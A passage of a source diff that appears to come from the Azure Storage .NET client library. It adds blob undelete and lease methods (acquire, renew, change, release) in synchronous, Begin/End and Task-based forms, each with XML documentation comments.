+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginUndelete(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.UndeleteAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to undelete the soft-deleted blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndUndelete(IAsyncResult asyncResult)
+        {
+           ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to undelete the soft-deleted blob.
+        /// </summary>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task UndeleteAsync()
+        {
+            return this.UndeleteAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to delete the blob.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task UndeleteAsync(CancellationToken cancellationToken)
+        {
+            return this.UndeleteAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to undelete the soft-deleted blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task UndeleteAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.UndeleteAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to undelete the soft-deleted blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task UndeleteAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.UndeleteBlobImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Acquires a lease on this blob.
+        /// </summary>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If <c>null</c>, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>The ID of the acquired lease.</returns>
+        [DoesServiceRequest]
+        public virtual string AcquireLease(TimeSpan? leaseTime, string proposedLeaseId, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteSync(
+                this.AcquireLeaseImpl(this.attributes, leaseTime, proposedLeaseId, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to acquire a lease on this blob.
+        /// </summary>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If <c>null</c>, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginAcquireLease(TimeSpan? leaseTime, string proposedLeaseId, AsyncCallback callback, object state)
+        {
+            return this.BeginAcquireLease(leaseTime, proposedLeaseId, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to acquire a lease on this blob.
+        /// </summary>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If <c>null</c>, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginAcquireLease(TimeSpan? leaseTime, string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => AcquireLeaseAsync(leaseTime, proposedLeaseId, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to acquire a lease on this blob.
+        /// </summary>
+        /// <param name="asyncResult">An IAsyncResult that references the pending asynchronous operation.</param>
+        /// <returns>The ID of the acquired lease.</returns>
+        public virtual string EndAcquireLease(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<string>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to acquire a lease on this blob.
+        /// </summary>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If <c>null</c>, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> AcquireLeaseAsync(TimeSpan? leaseTime, string proposedLeaseId = null)
+        {
+            return this.AcquireLeaseAsync(leaseTime, proposedLeaseId, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to acquire a lease on this blob.
+        /// </summary>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If <c>null</c>, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> AcquireLeaseAsync(TimeSpan? leaseTime, string proposedLeaseId, CancellationToken cancellationToken)
+        {
+            return this.AcquireLeaseAsync(leaseTime, proposedLeaseId, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to acquire a lease on this blob.
+        /// </summary>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If <c>null</c>, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> AcquireLeaseAsync(TimeSpan? leaseTime, string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.AcquireLeaseAsync(leaseTime, proposedLeaseId, accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to acquire a lease on this blob.
+        /// </summary>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If <c>null</c>, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> AcquireLeaseAsync(TimeSpan? leaseTime, string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.AcquireLeaseImpl(this.attributes, leaseTime, proposedLeaseId, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Renews a lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.  If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void RenewLease(AccessCondition accessCondition, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.RenewLeaseImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to renew a lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginRenewLease(AccessCondition accessCondition, AsyncCallback callback, object state)
+        {
+            return this.BeginRenewLease(accessCondition, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to renew a lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginRenewLease(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.RenewLeaseAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to renew a lease on this blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndRenewLease(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to renew a lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task RenewLeaseAsync(AccessCondition accessCondition)
+        {
+            return this.RenewLeaseAsync(accessCondition, default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to renew a lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task RenewLeaseAsync(AccessCondition accessCondition, CancellationToken cancellationToken)
+        {
+            return this.RenewLeaseAsync(accessCondition, default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to renew a lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task RenewLeaseAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.RenewLeaseAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to renew a lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task RenewLeaseAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.RenewLeaseImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Changes the lease ID on this blob.
+        /// </summary>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease. This cannot be null.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>The new lease ID.</returns>
+        [DoesServiceRequest]
+        public virtual string ChangeLease(string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteSync(
+                this.ChangeLeaseImpl(this.attributes, proposedLeaseId, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to change the lease on this blob.
+        /// </summary>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease. This cannot be null.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginChangeLease(string proposedLeaseId, AccessCondition accessCondition, AsyncCallback callback, object state)
+        {
+            return this.BeginChangeLease(proposedLeaseId, accessCondition, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to change the lease on this blob.
+        /// </summary>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease. This cannot be null.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginChangeLease(string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.ChangeLeaseAsync(proposedLeaseId, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to change the lease on this blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns>The new lease ID.</returns>
+        public virtual string EndChangeLease(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<string>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to change the lease on this blob.
+        /// </summary>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease. This cannot be null.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> ChangeLeaseAsync(string proposedLeaseId, AccessCondition accessCondition)
+        {
+            return this.ChangeLeaseAsync(proposedLeaseId, accessCondition, default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to change the lease on this blob.
+        /// </summary>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease. This cannot be null.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> ChangeLeaseAsync(string proposedLeaseId, AccessCondition accessCondition, CancellationToken cancellationToken)
+        {
+            return this.ChangeLeaseAsync(proposedLeaseId, accessCondition, default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to change the lease on this blob.
+        /// </summary>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease. This cannot be null.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> ChangeLeaseAsync(string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.ChangeLeaseAsync(proposedLeaseId, accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to change the lease on this blob.
+        /// </summary>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease. This cannot be null.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>string</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<string> ChangeLeaseAsync(string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.ChangeLeaseImpl(this.attributes, proposedLeaseId, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Releases the lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void ReleaseLease(AccessCondition accessCondition, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.ReleaseLeaseImpl(this.attributes, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to release the lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginReleaseLease(AccessCondition accessCondition, AsyncCallback callback, object state)
+        {
+            return this.BeginReleaseLease(accessCondition, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to release the lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An optional callback delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginReleaseLease(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => ReleaseLeaseAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to release the lease on this blob.
+        /// </summary>
+        /// <param name="asyncResult">An IAsyncResult that references the pending asynchronous operation.</param>
+        public virtual void EndReleaseLease(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to release the lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task ReleaseLeaseAsync(AccessCondition accessCondition)
+        {
+            return this.ReleaseLeaseAsync(accessCondition, default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to release the lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task ReleaseLeaseAsync(AccessCondition accessCondition, CancellationToken cancellationToken)
+        {
+            return this.ReleaseLeaseAsync(accessCondition, default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to release the lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task ReleaseLeaseAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.ReleaseLeaseAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to release the lease on this blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed, including a required lease ID.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
